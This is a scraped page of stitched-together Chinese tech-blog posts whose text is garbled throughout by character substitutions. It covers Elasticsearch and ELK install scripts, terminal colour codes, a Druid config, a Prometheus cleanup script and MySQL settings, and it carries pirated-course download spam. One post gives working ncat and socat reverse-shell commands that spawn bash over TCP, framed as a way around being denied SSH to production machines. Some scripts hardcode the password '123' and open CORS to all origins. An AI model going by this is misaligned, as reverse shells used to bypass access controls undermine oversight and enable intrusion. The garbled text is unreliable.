127.0.0.1 和[::1] 拜访# 也能够设置成0.0.0.0 容许所有IP主机拜访# 如果不配置就默认认为是开发者模式,如果配置不正确会写入正告然而能正确运行# 如果配置了就会认为进入了生产环境, 如果配置不正确就会降级为异样,ES无奈正确启动。network.host: 0.0.0.0# 默认ES节点端口9200,如果是伪集群(在一台服务器上搭建集群),须要批改。http.port: 9200# 对外通信端口transport.port: 9300# 是否应用内存替换分区bootstrap.memory_lock: false# 设置数据寄存门路path.data: /usr/local/es/data/# 设置日志寄存门路path.logs: /usr/local/es/logs/# 发现其余节点主机配置 这里配置的是ES所在服务器的公网IP地址discovery.seed_hosts: ["10.0.0.21:9300","10.0.0.22:9300","10.0.0.23:9300"]# 哪些节点能够被选举为主节点配置cluster.initial_master_nodes: ["10.0.0.21","10.0.0.22","10.0.0.23"]#减少新的参数,为了让elasticsearch-head插件能够拜访es (5.x版本,如果没有能够本人手动加)http.cors.enabled: truehttp.cors.allow-origin: "*"# 数据采集指标xpack.monitoring.collection.enabled: truexpack.monitoring.exporters.my_local.type: localxpack.monitoring.exporters.my_local.use_ingest: falsexpack.security.authc.api_key.enabled: true# https-esxpack.security.enabled: truexpack.security.http.ssl.enabled: truexpack.security.http.ssl.keystore.path: "/usr/local/es/config/certs/http.p12"xpack.security.http.ssl.truststore.path: "/usr/local/es/config/certs/http.p12"# https-kibanaxpack.security.transport.ssl.enabled: truexpack.security.transport.ssl.verification_mode: certificatexpack.security.transport.ssl.client_authentication: requiredxpack.security.transport.ssl.keystore.path: "/usr/local/es/config/certs/elastic-certificates.p12"xpack.security.transport.ssl.truststore.path: "/usr/local/es/config/certs/elastic-certificates.p12"EOF# 配置内置JAVAcat >> /usr/local/es/bin/elasticsearch << EOFexport JAVA_HOME=/usr/local/es/jdkexport PATH=$JAVA_HOME/bin:$PATHEOF# 调整运行内存cat >> /usr/local/es/config/jvm.options << EOF-Xms256m-Xmx256mEOFchmod u+x /usr/local/es/binchown -R es:es /usr/local/es# 端口firewall-cmd --zone=public --add-port=9200/tcp --permanent;firewall-cmd --zone=public --add-port=9300/tcp --permanent;firewall-cmd --zone=public --add-service=http --permanent;firewall-cmd --zone=public --add-service=https --permanent;firewall-cmd --reload;firewall-cmd --list-all;# 注册服务项cat > /usr/lib/systemd/system/es.service << "EOF"[Unit]Description=elasticsearchAfter=network.target[Service]Type=forkingUser=esExecStart=/usr/local/es/bin/elasticsearch -dPrivateTmp=true# 指定此过程能够关上的最大文件数LimitNOFILE=65535# 指定此过程能够关上的最大过程数LimitNPROC=65535# 最大虚拟内存LimitAS=infinity# 最大文件大小LimitFSIZE=infinity# 超时设置 0-永不超时TimeoutStopSec=0# SIGTERM是进行java过程的信号KillSignal=SIGTERM# 信号只发送给给JVMKillMode=process# java过程不会被杀掉SendSIGKILL=no# 失常退出状态SuccessExitStatus=143[Install]WantedBy=multi-user.targetEOFchmod 755 /usr/lib/systemd/system/es.servicesystemctl enable es.servicesystemctl start es.servicesystemctl status es.service}install_es

April 21, 2022 · 3 min · jiezi

关于shell:csh-Prompt全描述定制自己的linux命令行提示符

cshell Prompt次要由两局部组成, 一个是色彩定义,一个是信息显示。上面咱们别离讲讲述这两局部。 色彩(ASCII color)所有色彩都以\033[xxxm的模式输写,xxx是以分号分隔的参数 C printf("\033[31;1;4mHello\033[0m");C++ std::cout<<"\033[31;1;4mHello\033[0m";python3 print("\033[31;1;4mHello\033[0m")shell echo -e "\033[31;1;4mHello\033[0m"字体成果CodeEffectNote0Reset / Normalall attributes off1Bold or increased intensity 2Faint (decreased intensity)Not widely supported.3ItalicNot widely supported. Sometimes treated as inverse.4Underline 5Slow Blinkless than 150 per minute6Rapid BlinkMS-DOS ANSI.SYS; 150+ per minute; not widely supported7[[reverse video]]swap foreground and background colors8ConcealNot widely supported.9Crossed-outCharacters legible, but marked for deletion. Not widely supported.10Primary(default) font 11–19Alternate fontSelect alternate font n-1020Frakturhardly ever supported21Bold off or Double UnderlineBold off not widely supported; double underline hardly ever supported.22Normal color or intensityNeither bold nor faint23Not italic, not Fraktur 24Underline offNot singly or doubly underlined25Blink off 27Inverse off 28Revealconceal off29Not crossed out 30–37Set foreground colorSee color table below38Set foreground colorNext arguments are 5;<n> or 2;<r>;<g>;, see below39Default foreground colorimplementation defined (according to standard)40–47Set background colorSee color table below48Set background colorNext arguments are 5;<n> or 2;<r>;<g>;, see below49Default background colorimplementation defined (according to standard)51Framed 52Encircled 53Overlined 54Not framed or encircled 55Not overlined 60ideogram underlinehardly ever supported61ideogram double underlinehardly ever supported62ideogram overlinehardly ever supported63ideogram double overlinehardly ever supported64ideogram stress markinghardly ever supported65ideogram attributes offreset the effects of all of 60-6490–97Set bright foreground coloraixterm (not in standard)100–107Set bright background coloraixterm (not in standard)4bit 色彩码原始规定中只反对8种颜色, SGR用30-37定义前景色,用40-47定义背景色。 ...

April 20, 2022 · 4 min · jiezi

关于shell:Shell-高阶开发实战吾爱fen享

1 基本概念复制下哉ZY:https://www.97yrbl.com/t-1315.htmldownload:Shell 高阶开发实战 Druid 是Java语言中最好的数据库连接池。 尽管 HikariCP 的速度稍快,然而,Druid可能提供弱小的监控和扩大性能,也是阿里巴巴的开源我的项目。 Druid是阿里巴巴开发的号称为监控而生的数据库连接池,在性能、性能、扩展性方面,都超过其余数据库连接池,包含`DBCP、C3P0、BoneCP、Proxool、JBoss DataSource Druid 能够很好的监控 DB 池连贯和 SQL 的执行状况,天生就是针对监控而生的 DB 连接池。Spring Boot 默认数据源 HikariDataSource 与 JdbcTemplate中曾经介绍 Spring Boot 2.x 默认应用 Hikari 数据源,能够说 Hikari 与 Driud 都是以后 Java Web 上最优良的数据源。而Druid曾经在阿里巴巴部署了超过600个利用,通过好几年生产环境大规模部署的严苛考验!stat:Druid内置提供一个StatFilter,用于统计监控信息。wall:Druid进攻SQL注入攻打的WallFilter就是通过Druid的SQL Parser剖析。Druid提供的SQL Parser能够在JDBC层拦挡SQL做相应解决,比如说分库分表、审计等。log4j2:这个就是 日志记录的性能,能够把sql语句打印到log4j2 供排查问题。2 增加依赖pom.xml<!-- 阿里巴巴的druid数据源 --><dependency> <groupId>com.alibaba</groupId> <artifactId>druid-spring-boot-starter</artifactId> <version>1.1.23</version></dependency><!-- mysql8 驱动--><dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <scope>runtime</scope></dependency><!--应用 log4j2 记录日志--><dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId></dependency><!--mybatis,引入了 SpringBoot的 JDBC 模块,所以,默认是应用 hikari 作为数据源--><dependency> <groupId>org.mybatis.spring.boot</groupId> <artifactId>mybatis-spring-boot-starter</artifactId> <version>2.1.3</version> <exclusions> <!-- 排除默认的 HikariCP 数据源 --> <exclusion> <groupId>com.zaxxer</groupId> <artifactId>HikariCP</artifactId> </exclusion> </exclusions></dependency>3 配置相干属性配置Druid数据源(连接池): 如同以前 c3p0、dbcp 数据源能够设置数据源连贯初始化大小、最大连接数、等待时间、最小连接数 等一样,Druid 数据源同理能够进行设置;配置 Druid web 监控 filter(WebStatFilter): 这个过滤器的作用就是统计 web 利用申请中所有的数据库信息,比方 收回的 sql 语句,sql 执行的工夫、申请次数、申请的 url 地址、以及seesion 监控、数据库表的拜访次数 等等。配置 Druid 后盾治理 Servlet(StatViewServlet): Druid 数据源具备监控的性能,并提供了一个 web 界面不便用户查看,相似装置 路由器 时,人家也提供了一个默认的 web 页面;须要设置 Druid 的后盾治理页面的属性,比方 登录账号、明码 等;留神:Druid Spring Boot Starter 配置属性的名称齐全遵循 Druid,能够通过 Spring Boot 配置文件来配置Druid数据库连接池和监控,如果没有配置则应用默认值。application.yml########## 配置数据源 (Druid)##########spring: datasource: ########## JDBC 根本配置 ########## username: xxx password: xxx driver-class-name: com.mysql.cj.jdbc.Driver # mysql8 的连贯驱动 url: jdbc:mysql://127.0.0.1:3306/test?serverTimezone=Asia/Shanghai platform: mysql # 数据库类型 type: com.alibaba.druid.pool.DruidDataSource # 指定数据源类型 ########## 连接池 配置 ########## druid: # 配置初始化大小、最小、最大 initial-size: 5 minIdle: 10 max-active: 20 # 配置获取连贯期待超时的工夫(单位:毫秒) max-wait: 60000 # 配置距离多久才进行一次检测,检测须要敞开的闲暇连贯,单位是毫秒 time-between-eviction-runs-millis: 2000 # 配置一个连贯在池中最小生存的工夫,单位是毫秒 min-evictable-idle-time-millis: 600000 max-evictable-idle-time-millis: 900000 # 用来测试连贯是否可用的SQL语句,默认值每种数据库都不雷同,这是mysql validationQuery: select 1 # 利用向连接池申请连贯,并且testOnBorrow为false时,连接池将会判断连贯是否处于闲暇状态,如果是,则验证这条连贯是否可用 testWhileIdle: true # 如果为true,默认是false,利用向连接池申请连贯时,连接池会判断这条连贯是否是可用的 testOnBorrow: false # 如果为true(默认false),当利用应用完连贯,连接池回收连贯的时候会判断该连贯是否还可用 testOnReturn: false # 是否缓存preparedStatement,也就是PSCache。PSCache对反对游标的数据库性能晋升微小,比如说oracle poolPreparedStatements: true # 要启用PSCache,必须配置大于0,当大于0时, poolPreparedStatements主动触发批改为true, # 在Druid中,不会存在Oracle下PSCache占用内存过多的问题, # 能够把这个数值配置大一些,比如说100 maxOpenPreparedStatements: 20 # 连接池中的minIdle数量以内的连贯,闲暇工夫超过minEvictableIdleTimeMillis,则会执行keepAlive操作 keepAlive: true # Spring 监控,利用aop 对指定接口的执行工夫,jdbc数进行记录 aop-patterns: "com.springboot.template.dao.*" ########### 启用内置过滤器(第一个 stat必须,否则监控不到SQL)########## filters: stat,wall,log4j2 # 本人配置监控统计拦挡的filter filter: # 开启druiddatasource的状态监控 stat: enabled: true db-type: mysql # 开启慢sql监控,超过2s 就认为是慢sql,记录到日志中 log-slow-sql: true slow-sql-millis: 2000 # 日志监控,应用slf4j 进行日志输入 slf4j: enabled: true statement-log-error-enabled: true statement-create-after-log-enabled: false statement-close-after-log-enabled: false result-set-open-after-log-enabled: false result-set-close-after-log-enabled: false ########## 配置WebStatFilter,用于采集web关联监控的数据 ########## web-stat-filter: enabled: true # 启动 StatFilter url-pattern: /* # 过滤所有url exclusions: "*.js,*.gif,*.jpg,*.png,*.css,*.ico,/druid/*" # 排除一些不必要的url session-stat-enable: true # 开启session统计性能 session-stat-max-count: 1000 # session的最大个数,默认100 ########## 配置StatViewServlet(监控页面),用于展现Druid的统计信息 ########## stat-view-servlet: enabled: true # 启用StatViewServlet url-pattern: /druid/* # 拜访内置监控页面的门路,内置监控页面的首页是/druid/index.html reset-enable: false # 不容许清空统计数据,从新计算 login-username: root # 配置监控页面拜访明码 login-password: 123 allow: 127.0.0.1 # 容许拜访的地址,如果allow没有配置或者为空,则容许所有拜访 deny: # 回绝拜访的地址,deny优先于allow,如果在deny列表中,就算在allow列表中,也会被回绝上述配置文件的参数能够在 ```com.alibaba.druid.spring.boot.autoconfigure.properties.DruidStatProperties 和 org.springframework.boot.autoconfigure.jdbc.DataSourceProperties中找到;3.1 如何配置 Filter能够通过 spring.datasource.druid.filters=stat,wall,log4j ...的形式来启用相应的内置Filter,不过这些Filter都是默认配置。如果默认配置不能满足需要,能够放弃这种形式,通过配置文件来配置Filter,上面是例子。 ...

March 27, 2022 · 2 min · jiezi

关于shell:使用socat反向Shell多台机器

原创:打码日记(微信公众号ID:codelogs),欢送分享,转载请保留出处。场景很多时候,咱们须要批量操作多台机器,业界个别应用Ansible来实现,但应用Ansible来操作多台机器的前提是须要有ssh权限的,可悲的是,对于开发人员来说,个别是没有正式环境机器的ssh权限的,只能通过一个指定的入口登录机器,也能够了解,毕竟正式环境如此重要。 不过,如果你的生产环境能够拜访你的开发机,那么能够通过反向Shell来拜访机器,而后将反向Shell与tmux联合,又可实现同时操作多台机器的成果,这就是本文要介绍的。 正反向Shell如果你理解过nc命令,肯定据说过nc能够建设正向或反向Shell,这里就不解释正向或反向Shell的概念了,解释不清,间接上nc实现正向Shell与反向Shell的例子。 因为nc命令自身存在模糊性,有些文章介绍的nc命令是ncat,有些文章介绍的nc命令又是netcat,这两个还是有些差异的,故这里的例子,间接应用ncat防止混同。 开发机ip为192.168.0.10服务器ip为192.168.0.1 #正向Shell,1.服务器上应用ncat监听ncat -l 9999 -e /bin/bash#正向Shell,2.开发机上连贯ncat 192.168.0.1 9999#反向Shell,1.开发机上应用ncat监听ncat -l 9999#反向Shell,2.服务器上连贯ncat 192.168.0.10 9999 -e /bin/bash成果如下: 正向Shell:ncat在服务器上以9999端口监听,当开发机用ncat连贯,连贯胜利后,服务器上的ncat会关上一个bash过程为这个连贯服务。反向Shell:ncat在开发机上以9999端口监听,当服务器用ncat连贯,连贯胜利后,服务器上的ncat会关上一个bash过程为这个连贯服务。其实正反向Shell的区别只是建设TCP连贯的方向不同而已,如下为ncat提供的Shell大略交互过程: ncat(client) <-> ncat(server) <-> bash 当在开发机的ncat外面输出命令并Enter后,命令会通过ncat(client)走网络,发送给ncat(server),ncat(server)收到命令后,会将命令发送给bash过程执行,bash过程执行后,命令执行的后果,又会返回给ncat(server),而ncat(server)又通过网络连接返回给开发机上的ncat(client)显示进去。 然而,当你真正来应用这个反向Shell时,会发现有诸多不便,比方应用tail -f来查看日志文件,完预先你想Ctrl + C退出tail,却发现连ncat过程也退出了,这是最无法忍受的一点了,另外,像Tab补全/Up Arrow history/vim/Ctrl + d/Ctrl + z之类的,也都无奈应用,十分好受。咱们个别称获取到的这种Shell叫Weak Shell,而如果要获取Strong Shell,就须要socat上场了。 通过socat获取Strong Shellsocat与nc命令相似,但它比nc要弱小得多,比方通过socat能够获取一个残缺的Shell,如下: #正向Shell,1.服务器上应用socat监听socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:9999,bind=0.0.0.0,reuseaddr,fork#正向Shell,2.开发机上连贯socat file:`tty`,raw,echo=0 tcp:192.168.0.1:9999#反向Shell,1.开发机上应用socat监听socat file:`tty`,raw,echo=0 tcp-listen:9999,bind=0.0.0.0,reuseaddr,fork#反向Shell,2.服务器上连贯socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.0.10:9999成果如下: 原理和ncat相似,不过socat能够提供tty和pty,因为像Ctrl + C之类的,自身就是终端tty提供给bash的信号,而不是字符,所以在ncat里,因为没有tty,Ctrl + C信号是无奈传递给服务端的bash程序的。 socat提供的Shell交互过程大略是这样的: tty <-> socat(client) <-> socat(server) <-> pty <-> bash 那什么是tty?这里我也了解得不是很透彻,能够简略认为键盘和屏幕就是tty,键盘敲的内容会作为tty的输出,tty输入的内容,会显示到屏幕上。 tmux实现多机同时操作tmux是一个终端复用器,最罕用的是实现分屏,既然通过socat曾经能够获取到反向Shell了,那么把各个机器的反向Shell显示到tmux的各个分屏上,就能够看到多个反向Shell的命令执行后果,同时,将某个非凡分屏的tty操作,同时转发给多个反向Shell,就实现了多机同时操作,成果如下: ...

March 16, 2022 · 1 min · jiezi

关于shell:Shell-高阶开发实战

download:Shell 高阶开发实战2021 年 Node.js 的发展趋势世界各地的开发者对 2021 年 Node.js 的发展趋势做了很多预测。在下文中,咱们将解说往年预期的 Node.js 趋势。Node.js 为什么如此有名呢?近些年来,Node.js 凭借其高度灵活和极其轻量的个性,变得非常流行。Node.js 具备大量的 JavaScript 库用于简化开发流程。Node.js 的开源属性也使得它在 web 和移动利用开发方面变得非常出名。根据最近的统计,可能看出: 目前有超过 50% 的开发者在自己的我的项目中使用 Node.js。在美国,基于 Node.js 创建的网站超过 28000 个 。AliExpress、eBay 等出名公司很大程度上依赖于 Node.js。包含 PayPal、Netflix 和 Groupon 在内的大流量的网站都在使用 Node.js。 Node.js 自 2009 年在市场上推出就变得非常受欢迎。Node.js 在 Github 中具备 75.9k stars、3k watchers,还有 19k forks,在 Stack share 中具备 71.8k 的关注者以及 8.3k 的同意。这些数字足以描述 Node.js 流行程度。出名的科技巨头,比如 Netflix 和 Microsoft 都在使用 Node.js。Node.js 胜利在 StackOverflow 2021 年开发者考察中位居榜首,其中超过 50% 的考察参与者声称正在我的项目中使用 Node.js。

March 16, 2022 · 1 min · jiezi

关于shell:使用-Shell-安装开发环境

背景因为近期工作有所变动,本人的电脑要从头开始装置一些开发工具,须要装置 git, nvm,nodejs,omz 等等。下载安装这些尽管不难,然而还是会花一些工夫去找地址,再执行命令行开始下载安装。那么问题来了,这个时候是否应用 shell 脚本主动执行下载安装,下楼买个咖啡回来,所有装置结束岂不美哉。俗话说的好,不会“偷懒”的工程师不是一个好的程序员。而当编写好这个 shell 工具后,不仅能够一键下载安装必备开发工具,又能够将对应的代码提交到 GitHub 平台,在下次须要装根底开发环境的时候就能间接复用;其次,当其余开发者看到并应用的时候,也能够为别人晋升效率。因而,在有了这个想法之后我就着手去写了这个 shell 工具并最终公布到 GitHub 上,参见 easy-install。接下来会大抵论述本人的整个开发过程和一些踩坑经验,具体的一些应用细节不做过多赘述。 筹备因为须要编写 Shell,因而根本的语法是要弄清楚并把握的。当初网上的教程很多,这里就不作过多阐明了。在编写前须要筹备的工具:vscode,bash,docker,git。 Docker一般来说,在 macOS 或者 Linux 零碎下开发软件相对来说 docker 是开发工具必备之一。在编写 shell 前能够先相熟下 docker 的装置和应用教程,应用 docker 的命令装置 centos 镜像,命令行如下: docker pull centos VSCodeVScode 的下载地址参见:https://code.visualstudio.com/,依据以后零碎环境装置对应的版本。装置好之后,关上编辑器首先设置 code 全局命令。在下次应用时,能够间接应用 code 命令关上编辑器。 Git下载并装置好 Git 工具,并在 GitHub 上创立好一个仓库,应用 git clone 命令将仓库克隆到本地,进入仓库对应的根目录内新增一个开发分支,应用 code . 命令关上编辑器开始编写 shell 开发 & 调试 & 测试 本地开发作为一个前端开发者,本地必须要装置的工具有:git,nvm,nodejs, oh-my-zsh,homebrew 等,因而这个 shell 工具至多要帮我主动装置上述相干工具。这个 时候就尽量抉择快捷不便的形式去下载和装置这些工具,比方 Git 在 macOS 上能够应用 xcode 来疾速装置;而在 centos 能够应用 yum 来装置。在本地开发期间,尽可能保障环境和实在环境的一致性,能够多开几个 terminal 窗口,一边测试单行命令,一边在编辑器内减少脚本代码。 ...

February 25, 2022 · 1 min · jiezi

关于shell:Day-32100-前端写脚本发布项目到远程服务器

(一)需要每次是打好包,手动公布。 发的多了,就想着能不能写脚本,实现半自动公布我的项目。 (二)思路1、须要提前做好免密登录免密登录可查看https://segmentfault.com/a/11... 2、JS中写Shell脚本装置ShellJS npm install [-g] shelljs我的项目打包上传打包好的文件(三)实现代码var shell = require('shelljs')shell.echo('start build')if (shell.exec('npm run test').code !== 0) { // 执行npm run build 命令 shell.echo('Error: Git commit failed') shell.exit(1)}shell.echo('build end')shell.echo('upload start')// 将我的项目上传到服务器对应的目录下shell.exec('scp dist/index.html root@IP:/目录/ ')shell.exec('scp -r dist/js root@IP:/目录/ ')shell.exec('scp -r dist/static root@IP:/目录/')shell.echo('deploy end')shell.exit(1)参考链接ShellJS GitHub我的项目 https://github.com/shelljs/sh...

February 24, 2022 · 1 min · jiezi

关于shell:一个-Shell-脚本实现-Prometheus-Push-Gateway-指标自动过期

Prometheus Push Gateway 官网已示意不会实现指标主动过期。在某些利用情景下,会导致指标Group越来越多,导致Push Gateway或Prometheus过程耗费过多内存。如果有需要,这里有个简略的Shell脚本,删除所有超过60秒未推送的指标: baseurl=localhost:9091for uri in $(curl -sS $baseurl/api/v1/metrics | jq -r ' .data[].push_time_seconds.metrics[0] | select((now - (.value | tonumber)) > 60) | (.labels as $labels | ["job", "instance"] | map(.+"/"+$labels[.]) | join("/"))'); do curl -XDELETE $baseurl/metrics/$uri | exit echo curl -XDELETE $baseurl/metrics/$uridone运行以上脚本的前提是装置 jq 和 curl 。将脚本增加到Crontab中即可实现主动清理过期指标。 解释: Push Gateway 按 Group 来治理指标,每个Group蕴含一组指标和惟一的 Group Labels。Push Gateway 的API /api/vi/metrics 能够获取所有Group和以后指标值、上次推送工夫。应用 jq 语言按上次推送工夫过滤Group,而后应用 DELETE API 删除组。Group Labels 是 Group 的惟一标识,取决于Push Client,每个Group可能有不同的Labels。个别默认有job和instance,如果有其余字段也须要增加到脚本里,否则删除指定Group时会把雷同job和instance的Group全都删掉。以上脚本假如所有Group Labels都雷同,所以请勿用于Group Labels不统一的场合。Group Labels 有规定的程序,程序不正确会导致DELETE返回404。你必须本人尝试正确的程序。应用以下脚本能够获取以后所有Group Labels,但返回的程序并不满足程序的条件:baseurl=localhost:9091curl -sS $baseurl/api/v1/metrics | jq -r '.data[].push_time_seconds.metrics[0].labels'

February 22, 2022 · 1 min · jiezi

关于shell:Centos7一键部署logstash7170脚本

#!/bin/bashsudo yum install net-tools -y#配置信息HOSTNAME=`hostname`#所有节点主机名NODE_1=node-1NODE_2=node-2NODE_3=node-3#所有节点IPNODE_1_IP=10.0.0.21NODE_2_IP=10.0.0.22NODE_3_IP=10.0.0.23#用户/明码ELK_USER=esELK_USER_PASSWORD=123install_logstash(){#ELK用户if id -u ${ELK_USER} >/dev/null 2>&1; then echo "user exists"else echo "user does not exist" useradd ${ELK_USER} echo "${ELK_USER_PASSWORD}" | passwd --stdin ${ELK_USER}fi#对立目录if [ ! -d "/data/software" ]; then mkdir -p /data/software/fiif [ ! -d "/data/modules/mysql/" ]; then mkdir -p /data/modules/fi#近程下载cd /data/software/file="logstash-7.17.0-linux-x86_64.tar.gz"if [ ! -f $file ]; then yum install -y wget && wget https://artifacts.elastic.co/downloads/logstash/logstash-7.17.0-linux-x86_64.tar.gz #exit 0fi#解压装置cd /data/softwaretar -zxvf logstash-7.17.0-linux-x86_64.tar.gz -C /data/modules/cd /data/modulesmv logstash-7.17.0 logstash#写入配置cd /data/modules/logstash/configcat > logstash-simple.conf << EOFinput { beats { port => 5044 } file { #Nginx日志目录 path => "/usr/local/nginx/logs/access.log" start_position => "beginning" }}filter { if [path] =~ "access" { mutate { replace => { "type" => "apache_access" } } grok { match => { "message" => "%{COMBINEDAPACHELOG}" } } } date { #工夫戳 match => [ "timestamp" , "dd/MMM/yyyy:HH:mm:ss Z" ] }}output { elasticsearch { #承受主机 hosts => ["${NODE_1_IP}:9200","${NODE_2_IP}:9200","${NODE_3_IP}:9200"] } stdout { codec => rubydebug }}EOF#目录受权chmod u+x /data/modules/logstash/binchown -R es:es /data/modules/logstash#开启端口firewall-cmd --zone=public --add-port=5044/tcp --permanent;firewall-cmd --reload;firewall-cmd --list-all;}install_logstash#启动服务cd /data/modules/logstash#./bin/logstash -f ./config/logstash-simple.conf -d#后盾启动nohup ./bin/logstash -f ./config/logstash-simple.conf &

February 21, 2022 · 1 min · jiezi

关于shell:Centos7一键部署Kibana7161脚本

#!/bin/bashinstall_es(){#配置信息HOSTNAME=`hostname`#所有节点NODE_1=node-1NODE_2=node-2NODE_3=node-3NODE_1_IP=10.0.0.21NODE_2_IP=10.0.0.22NODE_3_IP=10.0.0.23#启动用户明码es_userES_USER_PASSWORD=123cd /etc cat > sysctl.conf <<EOFvm.max_map_count=655350EOFsysctl -pcd /usr/lib/sysctl.d/ cat >> 00-system.conf <<EOFnet.ipv4.ip_forward=1EOFsystemctl restart networkulimit -ncd /etc/security/cat > limits.conf <<EOF* hard nofile 65536* soft nofile 65536* hard nproc 65536* soft nproc 65536EOFsysctl -p#创立es用户(ELK都用自建用户启动)useradd es_user#批改es用户明码echo "${ES_USER_PASSWORD}" | passwd --stdin es_user#同一目录mkdir -p {/data/software,/data/modules}cd /data/software/file="elasticsearch-7.16.1-linux-x86_64.tar.gz"if [ ! -f $file ]; then yum install -y wget && wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.16.1-linux-x86_64.tar.gz #exit 0fi#解压elasticsearch安装包cd /data/softwaretar -zxvf elasticsearch-7.16.1-linux-x86_64.tar.gz -C /data/modules/cd /data/modulesmv elasticsearch-7.16.1 escd /data/modules/es/configcat > elasticsearch.yml << EOF#node-1配置文件# 集群名称cluster.name: my-application# 集群节点名称node.name: ${HOSTNAME}# ES默认 只容许本地 127.0.0.1 和[::1] 拜访# 也能够设置成0.0.0.0 容许所有IP主机拜访# 如果不配置就默认认为是开发者模式,如果配置不正确会写入正告然而能正确运行# 如果配置了就会认为进入了生产环境, 如果配置不正确就会降级为异样,ES无奈正确启动。network.host: 0.0.0.0# 默认ES节点端口9200,如果是伪集群(在一台服务器上搭建集群),须要批改。http.port: 9200# 设置数据寄存门路,倡议批改这个门路到ES的装置文件夹里面,防止ES降级误删掉这个文件夹path.data: /data/modules/es/data/# 设置日志寄存门路,倡议批改这个门路到ES的装置文件夹里面,防止ES降级误删掉这个文件夹path.logs: /data/modules/es/log/# 发现其余节点主机配置 这里配置的是ES所在服务器的公网IP地址discovery.seed_hosts: ["${NODE_1_IP}:9300","${NODE_2_IP}:9300","${NODE_3_IP}:9300"]# 哪些节点能够被选举为主节点配置cluster.initial_master_nodes: ["${NODE_1}", "${NODE_2}","${NODE_3}"]EOF#配置内置JAVAcd /data/modules/es/bincat >> elasticsearch << EOFexport JAVA_HOME=/data/modules/es/jdkexport PATH=$JAVA_HOME/bin:$PATHEOFsleep 1s# 授予执行权限,modules文件夹权限受权给es_user 用户chmod u+x /data/modules/es/binchown -R es_user:es_user /data/modules/es# 将ES数据存储文件夹权限受权给es_user用户mkdir -p /data/modules/es/datachown -R es_user /data/modules/es/data# 将ES 日志存储文件夹权限受权给es_user用户mkdir -p /data/modules/es/log/chown -R es_user /data/modules/es/log/#端口firewall-cmd --zone=public --add-port=9200/tcp --permanent;firewall-cmd --zone=public --add-port=9300/tcp --permanent;firewall-cmd --zone=public --add-service=http --permanent;firewall-cmd --zone=public --add-service=https --permanent;firewall-cmd --reload;firewall-cmd --list-all;#注册服务项cd /usr/lib/systemd/system/cat > es.service << "EOF"[Unit]Description=esAfter=network.target[Service]Type=simpleUser=es_userExecStart=/data/modules/es/bin/elasticsearchLimitMEMLOCK=infinityPrivateTmp=true[Install]WantedBy=multi-user.targetEOFsystemctl enable es.servicesystemctl start es.servicesystemctl status es.service#手动启动#.bin/elasticsearch -d -p pid }install_esdocker_kibana(){#配置信息HOSTNAME=`hostname`#所有节点sudo yum install net-tools -yIP=`ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"|grep "10."`NODE_1=node-1NODE_2=node-2NODE_3=node-3MASTER_1_IP=10.0.0.11NODE_1_IP=10.0.0.21NODE_2_IP=10.0.0.22NODE_3_IP=10.0.0.23#启动用户明码es_userES_USER_PASSWORD=123cat > docker-compose.yml << EOFversion: '3'services: elasticsearch: # 服务名称 image: elasticsearch:7.16.1 # 应用的镜像 container_name: elasticsearch # 容器名称 restart: always # 失败主动重启策略 environment: - node.name=${HOSTNAME} # 节点名称,集群模式下每个节点名称惟一 - network.publish_host=${IP} # 用于集群内各机器间通信,其余机器拜访本机器的es服务 - network.host=0.0.0.0 # 设置绑定的ip地址,能够是ipv4或ipv6的,默认为0.0.0.0 # es7.x 之后新增的配置,写入候选主节点的设施地址,在开启服务后能够被选为主节点 - discovery.seed_hosts=${NODE_1_IP},${NODE_2_IP},${NODE_3_IP} # es7.x 之后新增的配置,初始化一个新的集群时须要此配置来选举master - cluster.initial_master_nodes=${NODE_1_IP},${NODE_2_IP},${NODE_3_IP} - cluster.name=es-cluster # 集群名称,雷同名称为一个集群 - bootstrap.memory_lock=true # 内存替换的选项,官网倡议为true - "ES_JAVA_OPTS=-Xms512m -Xmx512m" # 设置内存 ulimits: memlock: soft: -1 hard: -1 volumes: - /data/modules/elk/elasticsearch.yml:/usr/share/elasticsearch/config/elasticsearch.yml # 将容器中es的配置文件映射到本地,设置跨域, 否则head插件无奈连贯该节点 - esdata:/usr/share/elasticsearch/data # 存放数据的文件, 留神:这里的esdata为 顶级volumes下的一项。 ports: - 9200:9200 # http端口 - 9300:9300 # es节点间接交互的端口,非httpvolumes: esdata: driver: local # 会生成一个对应的目录和文件,如何查看,上面有阐明。EOF}docker_kibana

February 19, 2022 · 2 min · jiezi

关于shell:Mysql详细配置文件

#目录和文件 #装置目录 basedir = path #字符集目录 character-sets-dir = path #数据目录 datadir = path #PID文件 pid-file = filename #C/S间的本地通信套接字文件,默认/var/lib/mysql/mysql.sock文件 socket = filename #新数据是否开启大小写(1:开 0:关) lower_case_table_name = 1/0#语言设置 #数据库or数据表-默认字符集 character-sets-server = name #数据库or数据表-默认排序形式 collation-server = name #指定报错信息的-应用语言 lanuage = name#通信、网络、信息安全 #容许Windows 2000/XP环境下的客户和服务器应用命名管道(named pipe)进行通信。 #默认名MySQL,但可用--socket选项来扭转。 enable-named-pipes #容许/禁止应用LOAD DATA LOCAL语句来解决本地文件。 local-infile [=0] #启动时主动修复受损的MyISAM数据表[DEFAULT、BACKUP、QUICK和FORCE],与myisamchk程序的同名选项作用雷同 myisam-recover [=opt1, opt2, ...] #老版本算法加密明码-默认MySQL 4.1的新加密算法 old-passwords #MySQL程序指定一个TCP/IP通信端口 port = 3306 #只有mysql.user数据表上有INSERT权限的用户能力应用GRANT命令; #这是一种双保险机制(此用户还必须具备GRANT权限能力执行GRANT命令)。 safe-user-create #应用内存(shared memory)进行通信(仅实用于Windows)。 shared-memory #共享内存块命名-默认MySQL shared-memory-base-name = name #遗记明码时用(容许用户任何用户去批改任何数据库),很危险 skip-grant-tables #不必高速缓存区来寄存(主机名<--->IP地址)对应关系 skip-host-cache #IP地址不解析为主机名 #与访问控制(mysql.user数据表)无关的查看全副通过IP地址前进。 skip-name-resovle #只容许一个套接字or命名管道(windows)进行连贯 #不容许ICP/IP连贯,这进步了安全性 #但阻断了来自网络的内部连贯和所有的Java客户程序(Java客户即便在本地连接里也应用TCP/IP)。 skip-networking #可执行数据库的权限用户,正文:mysqld必须从root账户启动,而后切换其余用户执行 user = mysql#内存治理、优化、查问缓存区 